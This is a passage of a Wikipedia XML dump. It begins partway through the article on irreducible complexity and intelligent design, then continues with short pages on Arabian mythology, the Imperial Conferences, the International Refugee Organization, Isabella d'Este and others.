Behe uses the mousetrap as an illustrative example of this concept.  A mousetrap consists of several interacting pieces&amp;mdash;the base, the catch, the spring, the hammer&amp;mdash;all of which must be in place for the mousetrap to work.  The removal of any one piece destroys the function of the mousetrap.  Likewise, biological systems require multiple parts working together in order to function. Intelligent design advocates claim that natural selection could not create from scratch those systems for which science is currently not able to find a viable evolutionary pathway of successive, slight modifications, because the selectable function is only present when all parts are assembled. Behe's original examples of irreducibly complex mechanisms included the bacterial [[flagellum]] of ''[[E. coli]]'', the [[blood clotting]] cascade, [[cilia]], and the adaptive [[immune system]].

===Criticism===
The irreducible complexity argument also assumes that the necessary parts of a system have always been necessary, and therefore could not have been added sequentially.  But something which is at first merely advantageous can later become necessary.  For example, one of the clotting factors that Behe listed as a part of the clotting cascade was later found to be absent in whales,{{ref|whale_clotting}} demonstrating that it is not essential for a clotting system.  Many purportedly irreducible structures can be found in other organisms as simpler systems that utilize fewer parts.  These systems may have had even simpler precursors that are now extinct.

Perhaps most importantly, potentially viable evolutionary pathways have been proposed for allegedly irreducibly complex systems such as blood clotting, the immune system{{ref|evolving_immunity}} and the flagellum,{{ref|matzke_flag}} which were the three examples Behe used.  Even his example of a mousetrap was shown to be reducible by John H. McDonald.{{ref|mcdonald_mousetrap}} If irreducible complexity is an insurmountable obstacle to evolution, it should not be possible to conceive of such pathways&amp;mdash;Behe has remarked that such plausible pathways would defeat his argument.  

Niall Shanks and Karl H. Joplin have shown that systems satisfying Behe's characterization of irreducible biochemical complexity can arise naturally and spontaneously as the result of self-organizing chemical processes.{{ref|shanks_joplin}} They also assert that what evolved biochemical and molecular systems actually exhibit is redundant complexity&amp;mdash;a kind of complexity that is the product of an [[evolution|evolved]] biochemical process. They claim that Behe overestimated the significance of irreducible complexity because his simple, linear view of biochemical reactions results in his taking snapshots of selective features of biological systems, structures and processes, while ignoring the redundant complexity of the context in which those features are naturally embedded and an overreliance of overly simplistic metaphors such as his mousetrap. In addition, it has been claimed that computer simulations of evolution demonstrate that it is possible for irreducible complexity to evolve naturally.{{ref|nature_complex}}

It is illustrative to compare a mousetrap with a cat, in this context. Both normally function so as to control the mouse population. The cat has many parts that can be removed leaving it still functional; for example, its tail can be bobbed or it can be spayed. Evolution has endowed it with redundant eyes, so if one eye goes blind, the cat can still catch mice. Comparing the cat and the mousetrap, then, one sees that the mousetrap (which is not alive) offers better evidence, in terms of irreducible complexity, for intelligent design than the cat.

== Definitions ==
{{Intelligent Design}}
The term &quot;irreducible complexity&quot; was originally defined by Behe as:

: ''A single system which is composed of several interacting parts that contribute to the basic function, and where the removal of any one of the parts causes the system to effectively cease functioning''&quot;. (''[[Darwin's Black Box]]'' p9)

Supporters of intelligent design use this term to refer to biological systems and organs that they [[belief|believe]] could not have come about by any series of small changes. They argue that anything less than the complete form of such a system or organ would not work ''at all'', or would in fact be a ''detriment'' to the organism, and would therefore never survive the process of natural selection. Although they accept that some complex systems and organs ''can'' be explained by evolution, they claim that organs and biological features which are ''irreducibly complex'' cannot be explained by current models, and that an intelligent designer must have created life or guided its evolution. Accordingly, the debate on irreducible complexity concerns two questions: whether irreducible complexity can be found in nature, and what significance it would have if it did exist in nature.

A second definition given by Behe (his &quot;evolutionary definition&quot;) is as follows:

:''An irreducibly complex evolutionary pathway is one that contains one or more unselected steps (that is, one or more necessary-but-unselected mutations).  The degree of irreducible complexity is the number of unselected steps in the pathway.

Intelligent design advocate [[William Dembski]] gives this definition:

:''A system performing a given basic function is irreducibly complex if it includes a set of well-matched, mutually interacting, nonarbitrarily individuated parts such that each part in the set is indispensable to maintaining the system's basic, and therefore original, function. The set of these indispensable parts is known as the irreducible core of the system. (No Free Lunch, 285)

== Stated examples ==

Behe and others have suggested a number of biological features that they believe may be irreducibly complex.

=== Flagella ===

The [[flagella]] of certain bacteria constitute a [[molecular motor]] requiring the interaction of about 40 complex protein parts, and the absence of any one of these proteins causes the flagella to fail to function. Behe holds that the flagellum &quot;engine&quot; is irreducibly complex because if we try to reduce its complexity by positing an earlier and simpler stage of its evolutionary development, we get an organism which functions improperly. Mainstream scientists regard this argument as having been largely disproved in the light of fairly recent research [http://www.millerandlevine.com/km/evol/design2/article.html].  The basal body of the [[flagella]] has been found to be similar to the Type III secretion system (TTSS), which many bacteria use to secrete [[toxin]]s.  This example of cooption is regarded as strong evidence against Behe's most developed example of irreducible complexity.
However, a genetic study of ''[[Yersinia pestis]]'' bacteria has shown their TTSS is a degenerated flagellum. The bacteria have lost the ability to completely build the flagellum, though they own the complete set of genes for it.

Additionally, the argument regarding the complexity of the flagellum is being disproven by additional scientific experiments.  Kenneth Miller, a professor of cell biology at [[Brown University]] and other evolutionary researchers have noticed that the flagellum resembled a needle-like structure that bacteria such as salmonella use to inject toxins into living cells. The needle's base has many elements in common with the flagellum, but it is missing most of the proteins that make a flagellum work.  Thus, this system seems to negate the claim that taking away any of the flagellum's parts would render it useless. It also suggests how the marvelously complex flagellum could have evolved from simpler forms.  This has caused miller to note that, &quot;The parts of this supposedly irreducibly complex system actually have functions of their own.”{{ref|flag_not}}

This topic is discussed in the article on the [[Evolution of flagella]].

=== Blood clotting cascade ===
The [[coagulation|blood clotting cascade]] in vertebrates is another complex biological pathway that is given as an example of irreducible complexity.  For a detailed discussion see the article &quot;Behe and the Blood Clotting Cascade&quot; by George Acton [http://www.talkorigins.org/origins/postmonth/feb97.html].

== Forerunners ==

The argument from irreducible complexity is a descendant of the [[teleological argument]] for God (the argument from design or argument from complexity). This states that because certain things in nature are very complicated, they must have been designed, just as the existence of a watch implies the existence of a watchmaker (in [[William Paley]]'s [[watchmaker_analogy|famous argument]] of [[1802]]). This argument has a long history and can be traced back at least as far as [[Cicero]]'s ''De natura deorum'', ii. 34 (see Hallam, Literature of Europe, ii. 385, note). 

While he did not originate the term, [[Charles Darwin]] identified the argument as a [[Falsifiability|testable]] prediction of the theory of [[evolution]] at the outset.  In [[The Origin of Species]], he wrote, &quot;If it could be demonstrated that any complex organ existed, which could not possibly have been formed by numerous, successive, slight modifications, my theory would absolutely break down. But I can find out no such case.&quot;
 
Darwin's theory of evolution challenges the teleological argument by postulating an alternative explanation to that of an intelligent designer: namely evolution by natural and sexual selection. The argument from irreducible complexity attempts to demonstrate that certain biological features cannot be purely the product of Darwinian evolution.

== Criticisms of irreducible complexity ==
There has been much scientific opposition to the irreducible complexity, with one science writer calling it a &quot;full-blown intellectual surrender strategy.&quot; [http://www.sciam.com/article.cfm?articleID=00022DE1-0C15-11E6-B75283414B7F0000] It may be that irreducible complexity does not actually exist in nature: that the examples given by Behe and others are not in fact irreducibly complex, but can be explained in terms of simpler precursors. Thus they would either be merely ''very complex'', or they would be misunderstood or misrepresented.

The precursors of complex systems, when they are not useful in themselves, may be useful to perform other, unrelated functions. Evolutionary biologists argue that evolution often works in this kind of blind, haphazard manner in which the function of an early form is not necessarily the same as the function of the later form. The [[mammal]]ian ear (derived from a jawbone) and the [[Giant Panda|panda]]'s thumb (derived from a wrist bone spur) are considered classic examples. A current article in ''Nature'', Vol. '''439''', pp. 318-321 (Jan 19, 2006) by M. Brazeau and P. Ahlberg demonstrates intermediate states leading toward the development of the ear in a [[Devonian]] fish (about 360 million years ago). Furthermore, recent research shows that viruses play a heretofore unexpectedly great role in evolution by mixing and matching genes from various hosts.

Evolution can act to simplify as well as to complicate. This raises the possibility that apparently irreducibly complex biological features may have been achieved with a period of increasing complexity, followed by a period of simplification. By analogy, stone arches are irreducibly complex &amp;mdash; if you remove any stone the arch will collapse &amp;mdash; yet we build them easily enough, one stone at a time, by building over scaffolding that is removed afterward. Similarly, naturally occurring arches of stone are formed by weathering away bits of stone from a large concretion that has formed previously.

Behe has been accused of using an [[Argument from ignorance|argument by lack of imagination]], or constructing a &quot;[[God of the gaps]].&quot; Behe himself acknowledges that simply because scientists cannot currently see how an &quot;irreducibly complex&quot; organism could evolve, it does not prove that there is no possible way for it to have occurred. 

Niall Shanks and Karl H. Joplin, both of [[East Tennessee State University]], have shown that systems satisfying Behe's characterization of irreducible biochemical complexity can arise naturally and spontaneously as the result of self-organizing chemical processes [http://www.asa3.org/ASA/topics/Apologetics/POS6-99ShenksJoplin.html]. They also assert that what evolved biochemical and molecular systems actually exhibit is redundant complexity \u2014 a kind of complexity that is the product of an [[evolution|evolved]] biochemical process. They argue that Behe overestimates the significance of irreducible complexity because his simple, linear view of biochemical reactions results in his taking snapshots of selective features of biological systems, structures and processes, while ignoring the redundant complexity of the context in which those features are naturally embedded and an over-reliance of overly-simplistic metaphors such as his mousetrap.

There has also been a theory that challenges irreducible complexity called [[facilitated variation]].  The theory has been presented by [[Marc W. Kirschner]], a professor and chair of Department of Systems Biology at [[Harvard Medical School]], and [[John C. Gerhart]], a professor in the Graduate School, [[University of California, Berkeley]].  In their theory they describe how certain mutation and changes can cause apparent irreducible complexity.  Their book was published in 2005.

=== Gradual replacement ===

Arguments for irreducibility often assume that things started out the same way they ended up (as we see them now). However, that may not necessarily be the case.

Regarding Behe's '''antibody example''', we have the &quot;marker&quot; substance and the &quot;killer&quot; substance, that together hunt and kill marked invaders.  Behe is saying that by themselves, the marker and the killer are useless, and thus must have been made at the same time. The killer cannot kill what it cannot find and the marker has no ability to kill even if it can find a target.

However, under gradual replacement, a different marker may have started out as an independent hunter AND killer. After a while, a helper killer joined this army because it had some nice specialties. However, this second killer still depended on the first one to find the target. Thus the first killer served as both a marker and a killer, and the second killer is just a killer, relying on the first to hunt.

Perhaps over time it is more efficient to have the 2nd killer specialize in killing and the first specialize in marking, and so the first killer is replaced by a similar substance that is merely a marker (perhaps a better marker than the first dual-purpose one). 

Thus, each step is an advantage, yet the final result is a dependent pair that does not resemble the proto-killer.  This example can be laid out as:
:A = original killer and marker
:K = second killer
:M = replacement marker
:# A
:# AK
:# AMK
:# MK

All we see today is &quot;MK&quot;.  Opponents of irreducible complexity state that Behe erroneously assumes that if the structure ended up MK, then it must have started out as M or K by themselves. 

=== Handicaps and sexual selection ===

According to critics, another overlooked source of &quot;irreducibly complex&quot; features in a sexually reproducing organism is the [[Handicap principle]]. [[Sexual selection]] often favors those who can demonstrate to their mates a surplus of energy by maintaining a feature or behavior that is unnecessary for basic survival &amp;mdash; sometimes even a hindrance.  Examples include certain horns and antlers, display feathers, skin or hair colors and patterns, bony structure, scents, songs, symmetry, and elaborate ritualistic behavior.  It is not unreasonable to imagine a handicapping feature eventually developing a useful purpose in a changing environment or for two or more handicapping features to become useful when combined.  Conversely, a useful feature may evolve to become a handicapping feature, but through sexual selection the feature is passed through generations to again become useful in a completely different context.  In this new context it may seem impossible to us that it was naturally selected to its purpose.

Imagine that a spontaneous hole formed in a pre-bird lizard's lung and quickly became a demonstration to potental mates that it has &quot;energy to burn&quot; because it was successful despite its handicap.  Perhaps it evolved as a mating display because it made a distinctive sound like a frog's mating display.  That feature could have been maintained by sexual selection long enough to have evolved into the modern bird lung we see today.

However, this objection accounts for relatively few of the virtually unlimited potential intermediate stages of evolving features.

=== Falsifiability and experimental evidence ===

Some critics, such as [[Jerry Coyne]] (professor of [[evolutionary biology]] at the [[University of Chicago]]) and [[Eugenie Scott]] (a [[physical anthropology|physical anthropologist]] and executive director of the [[National Center for Science Education]]) have argued that the concept of irreducible complexity, and more generally, the theory of [[intelligent design]] is not [[falsifiable]], and therefore, not [[scientific]].  

Behe argues that the theory that irreducibly complex systems could not have been evolved can be falsified by an experiment where such systems are evolved. For example, he posits taking bacteria with no [[flagella]] and imposing a selective pressure for mobility. If, after a few thousand generations, the bacteria evolved the bacterial flagellum, then Behe believes that this would refute his theory.

Other critics take a different approach, pointing to experimental evidence that they believe falsifies the argument for Intelligent Design from irreducible complexity. For example, [[Kenneth Miller]] cites the lab work of Barry Hall on [[E. coli]], which he asserts is evidence that &quot;Behe is wrong.&quot;

=== Behe's own Criticisms ===
In his &quot;Reply to My Critics&quot;{{ref|behe_reply}}, Behe admitted that there was a &quot;defect&quot; in his view of irreducible complexity because, while it purports to be a challenge to natural selection, it does not actually address &quot;the task facing natural selection&quot;. Behe specifically explained that the &quot;current definition puts the focus on removing a part from an already functioning system&quot;, but the &quot;difficult task facing Darwinian evolution, however, would not be to remove parts from sophisticated pre-existing systems; it would be to bring together components to make a new system in the first place.&quot; In that article, Behe wrote that he hoped to &quot;repair this defect in future work&quot;. However, such work has not yet been published.

===God and Irreducible Complexity===

The most basic philosophical criticism of irreducible complexity is that it defeats its own purpose. Namely, that either God is irreducibly complex and hence requires a further creator-of-God ([[ad infinitum]]) to create God, or that God is not irreducibly complex, and can be reduced to naturalistic explanation.

== Claimed significance ==
Behe argues that organs and biological features which are irreducibly complex cannot be wholly explained by current models of [[evolution]]. He argues that:

: ''An irreducibly complex system cannot be produced directly (that is, by continuously improving the initial function, which continues to work by the same mechanism) by slight, successive modifications of a precursor system, because any precursor to an irreducibly complex system that is missing a part is by definition nonfunctional.''

Irreducible complexity is not an argument that evolution does not occur, but rather an argument that it is incomplete.  In the last chapter of [[Darwin's Black Box]], Behe goes on to explain his view that irreducible complexity is evidence for [[intelligent design]].

Mainstream critics however argue that irreducible complexity, as defined by Behe, can be generated by known evolutionary mechanisms.  Behe's claim that there is no scientific literature on the evolution of biochemical systems is demonstrably false.

While testifying at the [[Kitzmiller v. Dover Area School District|Kitzmiller v. Dover Area School District trial]] Behe conceded that there are no peer-reviewed papers supporting his claims that complex molecular systems, like the bacterial flagellum, the blood-clotting cascade, and the immune system, were intelligently designed nor are there any peer-reviewed articles supporting his argument that certain complex molecular structures are &quot;irreducibly complex.&quot; [http://en.wikisource.org/wiki/Kitzmiller_v._Dover_Area_School_District_4:_whether_ID_is_science#Page_88_of_139]

Irreducible complexity is at root an argument against evolution.  If truly irreducible systems were found, the implication is that [[intelligent design]] is the correct explanation for their existence. However, this conclusion is based on the assumption that that current [[evolution]]ary theory and intelligent design are the only two valid models to explain life.

==See also==
* [[Intelligent design]]
* [[Specified complexity]]

==External links==

* Himma, Kenneth Einar. [http://www.iep.utm.edu/d/design.htm Design Arguments for the Existence of God]. ''Internet Encyclopedia of Philosophy''.

=== In support ===

*[http://www.arn.org/authors/behe.html Michael J. Behe home page]
*[http://www.icr.org/newsletters/afdec03.html Institute for Creation Research]
*[http://www.iscid.org/papers/Dembski_IrreducibleComplexityRevisited_011404.pdf Irreducible Complexity Revisited]
*[http://www.iscid.org/papers/Behe_ReplyToCritics_121201.pdf Behe's Reply to his Critics]
*[http://www.amasci.com/freenrg/newidea1.html Dr. Thomas Gold] opines about new scientific ideas.
*[http://www.answersingenesis.org/home/area/re2/chapter10.asp Argument: 'Irreducible complexity']
*[http://www.origins.org/menus/design.html Origins - Intelligent Design]

=== In opposition ===
*[http://www.epicidiot.com/evo_cre/vr_unlocking_the_mystery_of_life.htm, &quot;Unlocking the Mystery of Life&quot; - The bacterial motor video review]
*[http://www.philoonline.org/library/shanks_4_1.htm Behe, Biochemistry, and the Invisible Hand]
*[http://yalepress.yale.edu/yupbooks/book.asp?isbn=0300108656 Facilitated Variation] 
*[http://www.bostonreview.net/br21.6/orr.html Darwin vs. Intelligent Design (again), by H. Allen Orr (review of Darwin's Black Box)]
*[http://www.talkorigins.org Talk.origins archive] (see [[talk.origins]])
**[http://www.talkorigins.org/faqs/behe.html Irreducible Complexity and Michael Behe: Do Biochemical Machines Show Intelligent Design?]
**[http://www.talkorigins.org/faqs/behe/review.html Darwin's Black Box: Irreducible Complexity or Irreproducible Irreducibility?] by Keith Robinson
**[http://www.talkorigins.org/faqs/behe/icsic.html Is the Complement System Irreducibly Complex?] by Mike Coon
**[http://www.talkorigins.org/faqs/genalg/genalg.html Genetic Algorithms] (Genetic algorithms have produced irreducibly complex solutions to real problems.)
**[http://www.talkorigins.org/faqs/bombardier.html Discussion of the Bombardier Beetle] at Talk.origins
*[http://www.talkdesign.org TalkDesign.org] (sister site to talk.origins archive on [[intelligent design]])
**[http://www.talkdesign.org/faqs/icdmyst/ICDmyst.html Irreducible complexity demystified] by Pete Dunkelberg.
*[http://www.millerandlevine.com Professor Kenneth R. Miller's textbook website]
**[http://www.millerandlevine.com/km/evol/DI/clot/Clotting.html A Darwinian explanation of the blood clotting cascade]
*[http://www.millerandlevine.com/km/evol/design2/article.html &quot;The Flagellum Unspun: The Collapse of &quot;Irreducible Complexity&quot;] by Professor Miller
*[http://udel.edu/~mcdonald/mousetrap.html A reducibly complex mousetrap] (graphics-intensive, requires [[JavaScript]])
*[http://www.berteig.org/mishkin/IrreducibleComplexity.html A rigorous mathematical analysis of the concept of irreducible complexity] by Mishkin Berteig.
*[http://www.pamd.uscourts.gov/kitzmiller/kitzmiller_342.pdf PDF. 139 page in-depth analysis of Intelligent Design, Irreducible Complexity, and  the book &quot;Of Pandas and People&quot; by a judge and based on expert testimony]
*[http://www.newyorker.com/fact/content/articles/050530fa_fact Devolution: Why intelligent design isn't] ([[The New Yorker]])
*[http://www.chicagotribune.com/technology/chi-0602130210feb13,1,1538105.story?page=1&amp;ctrack=1&amp;cset=true Unlocking cell secrets bolsters evolutionists] ([[Chicago Tribune]])

== References ==

# {{note|behe_reply}} Behe, Michael (2001). [http://www.ingentaconnect.com/content/klu/biph/2001/00000016/00000005/00353967 Reply to My Critics]. See also [http://www.talkorigins.org/faqs/dover/day12am2.html Behe's testimonial in Kitzmiller v. Dover]
#{{note|Bertalanffy}} Ludwig von Bertalanffy (1952). ''Problems of Life: An Evaluation of Modern Biological and Scientific Thought, pg 148'' ISBN 1131792424.
# {{note|whale_clotting}} Semba U, Shibuya Y, Okabe H, Yamamoto T., 1998. &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9678675 Whale Hageman factor (factor XII): prevented production due to pseudogene conversion].&quot; ''Thromb Res.'' 1998 [[1 April]];90(1):31-7.
# {{note|matzke_flag}} Nic J. Matzke, 2003. &quot;[http://www.talkdesign.org/faqs/flagellum_background.html Evolution in (Brownian) space: a model for the origin of the bacterial flagellum].&quot; In ''TalkDesign.org''.
# {{note|mcdonald_mousetrap}} John H. McDonald [http://udel.edu/~mcdonald/mousetrap.html A reducibly complex mousetrap].
# {{note|shanks_joplin}} Niall Shanks and Karl H. Joplin. Redundant Complexity:A Critical Analysis of Intelligent Design in Biochemistry. East Tennessee State University. [http://www.asa3.org/ASA/topics/Apologetics/POS6-99ShenksJoplin.html] 
# {{note|nature_complex}} Lenski RE, Ofria C, Pennock RT, Adami C., 2003. &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12736677&amp;dopt=Abstract The evolutionary origin of complex features].&quot; ''Nature''. [[May 8]] [[2003]];423(6936):139-44.
# {{note|flag_not}} [http://www.chicagotribune.com/technology/chi-0602130210feb13,1,1538105.story?page=1&amp;ctrack=1&amp;cset=true Unlocking cell secrets bolsters evolutionists]
# {{note|evolving_immunity}} Matt Inlay, 2002. &quot;[http://www.talkdesign.org/faqs/Evolving_Immunity.html Evolving Immunity].&quot; In ''TalkDesign.org''.

* Behe, Michael (1996). ''[[Darwin's Black Box]]''. New York: The Free Press. ISBN 0684834936
* Denton, Michael (1996). ''Evolution: A Theory in Crisis''. Adler &amp;amp; Adler.
* Mcnab, Robert M. (2004). ''Type III flagellar protein export and flagellar assembly'' Biochim Biophys Acta. '''1694'''(1-3):207-17. Review. PMID: 15546667
* Ruben, J.A.; Jones, T.D.; Geist, N.R.; &amp;amp; Hillenius, W.J. ([[November 14]], [[1997]]). Lung Structure and Ventilation in Theropod Dinosaurs and Early Birds. ''Science'' '''278''' (5341) 1267&amp;ndash;1270.
* Sunderland, Luther D. (March 1976). Miraculous Design in Woodpeckers. ''Creation Research Society Quarterly''.
* [http://www.carlzimmer.com/articles/2005/articles_2005_Avida.html Testing Darwin] [[Discover Magazine]] [http://www.discover.com/issues/feb-05/cover/ Vol. 26 No. 02] | February 2005




[[de:Nichtreduzierbare Komplexität]]

[[Category:Creationism]]
[[Category:Intelligent design]]
[[Category:Intelligent design movement]]</text>
    </revision>
  </page>
  <page>
    <title>Arabian mythology</title>
    <id>15388</id>
    <revision>
      <id>40081678</id>
      <timestamp>2006-02-18T00:14:44Z</timestamp>
      <contributor>
        <username>Toira</username>
        <id>951184</id>
      </contributor>
      <comment>The garamantes were not Arabs.</comment>
      <text xml:space="preserve">{{Fertile Crescent myth (Arabian)}}
'''Arabian mythology''' is the ancient beliefs of the [[Arab]]s. Prior to the arrival and initial codification of [[Islam]] on the [[Arabian Peninsula]] in [[622]] CE, year one of the [[Islamic calendar]], the physical centre of Islam, the [[Kaaba]] of [[Mecca]], did not hold only the single symbol of &quot;the [[God]]&quot; as it does now. The Kaaba was instead covered in symbols representing the myriad [[demon]]s, [[Genie|djinn]], [[demigod]]s and other assorted creatures which represented the profoundly [[polytheistic]] environment of pre-Islamic Arabia. We can infer from this [[plurality]] an exceptionally broad context in which [[mythology]] could flourish.

==See also==
*[[Babylonian mythology]]

==Sources==
*''Gods, Demons and Symbols of Ancient Mesopotamia'' by Jeremy Black and Anthony Green (ISBN 0292707940)


{{Asia-myth-stub}}
{{MEast-hist-stub}}

[[pt:Mitologia Islâmica]]
[[Category:Islamic mythology]]
[[Category:Mythology by culture]]
[[Category:Arabic culture]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Mythology</title>
    <id>15391</id>
    <revision>
      <id>15912866</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Irish_mythology]]
</text>
    </revision>
  </page>
  <page>
    <title>Imperial Conferences</title>
    <id>15392</id>
    <revision>
      <id>36196097</id>
      <timestamp>2006-01-22T08:07:01Z</timestamp>
      <contributor>
        <username>Hu</username>
        <id>133716</id>
      </contributor>
      <minor />
      <comment>Direct link for [[Commonwealth of Nations]]</comment>
      <text xml:space="preserve">'''Imperial Conferences''' were gatherings of [[British Empire]] government leaders in [[London]] in [[1887]], [[1897]], [[1902]], [[1907]], [[1911]], [[1921]], [[1923]], [[1926]], [[1930]] and [[1937]]. The 1907 conference changed the name from &quot;Colonial Conference&quot; and agreed that the meetings should henceforth be regular rather than taking place while overseas statesmen were visiting London for royal occasions (jubilees, coronations). 

The conferences were a key forum for [[Dominions|Dominion]] governments to assert the desire for removing the remaining vestiges of their colonial status. The conference of [[1926]], by [[Balfour Declaration 1926|Balfour Declaration]], marked the acknowledgement that the Dominions would henceforth rank as equals to the [[United Kingdom]], as members of British Commonwealth of Nations. The conference of [[1930]] came to conclusion to remove the legislative supremacy of the British Parliament as it was expressed through the [[Colonial Laws Validity Act]], and recommended a declaratory enactment of the United Kingdom Parliament, passed with the consent of the Dominions. The [[Statute of Westminster 1931]] was enacted by the imperial Parliament in pursuance of that recommendation. 

After [[World War II]], with the transformation of the British Empire into the [[Commonwealth of Nations]], Imperial Conferences were replaced by biennial [[Commonwealth Heads of Government Meeting]].

==See also==
*[[Imperial War Cabinet]]

[[Category:British Empire]]</text>
    </revision>
  </page>
  <page>
    <title>Interpreter</title>
    <id>15394</id>
    <revision>
      <id>35750243</id>
      <timestamp>2006-01-19T00:33:42Z</timestamp>
      <contributor>
        <username>Rogerd</username>
        <id>205136</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/81.79.149.242|81.79.149.242]] ([[User talk:81.79.149.242|talk]]) to last version by RoySmith</comment>
      <text xml:space="preserve">'''Interpreter''' can mean one of the following:

*[[Interpreter (communication)]], a person who facilitates dialogue between parties who use different languages.
*[[Interpreter (computing)]], a program designed to run other non-executable programs directly.
*[[Interpreter (history)]], a person who acts the role of a historical character in a living museum.
*[[The Interpreter]], a 2005 movie starring Nicole Kidman and Sean Penn.
----
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>International Refugee Organization</title>
    <id>15395</id>
    <revision>
      <id>40364476</id>
      <timestamp>2006-02-20T01:58:53Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''International Refugee Organization''' (IRO) was founded in [[1946]] to deal with the massive refugee problem created by [[World War II]]. It was a [[United Nations]] [[specialized agency]] and took over many of the functions of the earlier [[United Nations Relief and Rehabilitation Administration]]. In [[1952]] its operations ceased, and it was replaced by the Office of the [[United Nations High Commissioner for Refugees]] (UNHCR). It is the only specialized agency to have ever gone out of existence.

It was established by the Constitution of the International Refugee Organization, adopted by the [[United Nations General Assembly]] on December 15, 1952.

'''IRO''' is also the abbreviation for the International Ragnarok Online server, servicing Ragnarok Players of North America.

==External links==
* [http://www.yale.edu/lawweb/avalon/decade/decad053.htm Constitution of the International Refugee Organization]

[[Category:United Nations specialized agencies]]
[[Category:1946 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>IRO</title>
    <id>15396</id>
    <revision>
      <id>15912871</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Refugee Organization]]
</text>
    </revision>
  </page>
  <page>
    <title>IBAN</title>
    <id>15397</id>
    <revision>
      <id>15912872</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Bank Account Number]]
</text>
    </revision>
  </page>
  <page>
    <title>Irrealism in music</title>
    <id>15399</id>
    <revision>
      <id>15912874</id>
      <timestamp>2004-08-10T18:49:19Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <comment>merged</comment>
      <text xml:space="preserve">#REDIRECT [[Irrealism]]</text>
    </revision>
  </page>
  <page>
    <title>Isabella d'Este</title>
    <id>15401</id>
    <revision>
      <id>42081001</id>
      <timestamp>2006-03-03T18:19:09Z</timestamp>
      <contributor>
        <ip>205.147.242.4</ip>
      </contributor>
      <comment>Corrected typos.</comment>
      <text xml:space="preserve">[[image:Isabella_d'Este.jpg|right|200px|thumb|Isabella d'Este]] 
One of the leading women of the [[Italy|Italian]] [[Renaissance]], '''Isabella d'Este'''  ([[18 May]] [[1474]] - [[13 February]] [[1539]]) was a major cultural and political figure.

She was a daughter of [[Ercole d'Este I|Ercole I d'Este]], Duke of [[Ferrara]], and [[Eleonora Of Aragon]], daughter of [[Ferdinand I of Aragon]] and [[Isabel de Claremont]]. Her younger sister was the equally famous [[Beatrice d'Este]], Duchess of [[Milan]] as consort to [[Lodovico Sforza]]. She was related by birth or marriage to almost every ruler in Spain and is known as &quot;The First Lady Of The Renaissance&quot;.

Isabella d'Este was very well-educated in her youth, as her voluminous correspondence from [[Mantua]] reveals. The [[Este]] sisters were exposed to many of the new Renaissance ideas: later Isabella became a passionate, even greedy collector of Roman sculpture and commissioned modern sculptures in the antique style. At the age of 16 she was married to [[Francesco II of Gonzaga | Francesco Gonzaga]], Marquis of [[Mantua]]. They were [[Ariosto]]'s patrons while he was writing ''[[Orlando Furioso]]'' and both she and her husband were greatly influenced by [[Baldassare Castiglione]], author of [[The Book of the Courtier | ''Il Cortigiano'' ('The Courtier')]] a model for aristocratic decorum for two hundred years, and it was at his suggestion that [[Giulio Romano]] was summoned to Mantua to enlarge the Castello and other buildings. Under her auspices the court of Mantua became one of the most cultured in Europe. Among the other important artists, writers, thinkers, and musicians being drawn to it were [[Raffaello Santi|Raphael]], [[Andrea Mantegna]], and the composers [[Bartolomeo Tromboncino]] and [[Marchetto Cara]]. Her court sculptor was  [[Pier Jacopo Alari Bonacolsi]], who re-interpreted works of antiquity in small finely-finished and often partly gilded bronzes that earned him the nickname &quot;L'Antico&quot;. She was painted twice by [[Titian]], (see illustration at right), and [[Leonardo da Vinci]]'s portrait drawing of her is at the [[Musee du Louvre|Louvre]]. She was a keen musician herself, who considered stringed instruments, such as the [[lute]], superior to winds, which were associated with vice and strife; she also considered poetry incomplete until it was set to music, and sought the most skilled composers of the day to complete the task.

After the death of her husband, Isabella ruled Mantua as regent for her child.  She began to play an important role in Italian politics, steadily advancing Mantua's position. Her many important accomplishments include advancing Mantua to a Duchy and also obtaining a [[Cardinal (Catholicism)|cardinal]]ate for her younger son. She also showed great diplomatic and political skill in her negotiations with [[Cesare Borgia]], who had dispossessed [[Guidobaldo da Montefeltre]], duke of [[Urbino]], the husband of her sister-in-law and intimate friend.
[[Elisabetta Gonzaga]] (1502).

[[Category:1474 births|d'Este, Isabella]]
[[Category:1539 deaths|d'Este, Isabella]]
[[Category:Italian nobility|d'Este, Isabella]]
[[de:Isabella d'Este]]
[[fr:Isabella d'Este]]
[[it:Isabella d'Este]]
[[ja:&amp;#12452;&amp;#12470;&amp;#12505;&amp;#12521;&amp;#12539;&amp;#12487;&amp;#12473;&amp;#12486;]]</text>
    </revision>
  </page>
  <page>
    <title>International standard</title>
    <id>15402</id>
    <revision>
      <id>37324337</id>
      <timestamp>2006-01-30T06:12:58Z</timestamp>
      <contributor>
        <username>Alvestrand</username>
        <id>50958</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[standardization|Standard]]s are produced by many organizations, some for internal usage only, others for use by a groups of people, groups of companies, or a subsection of an industry. A problem arises when different groups come together, each with a large user base doing some well established thing that between them is mutually incompatible. Establishing international standards is one way of preventing or overcoming this problem.

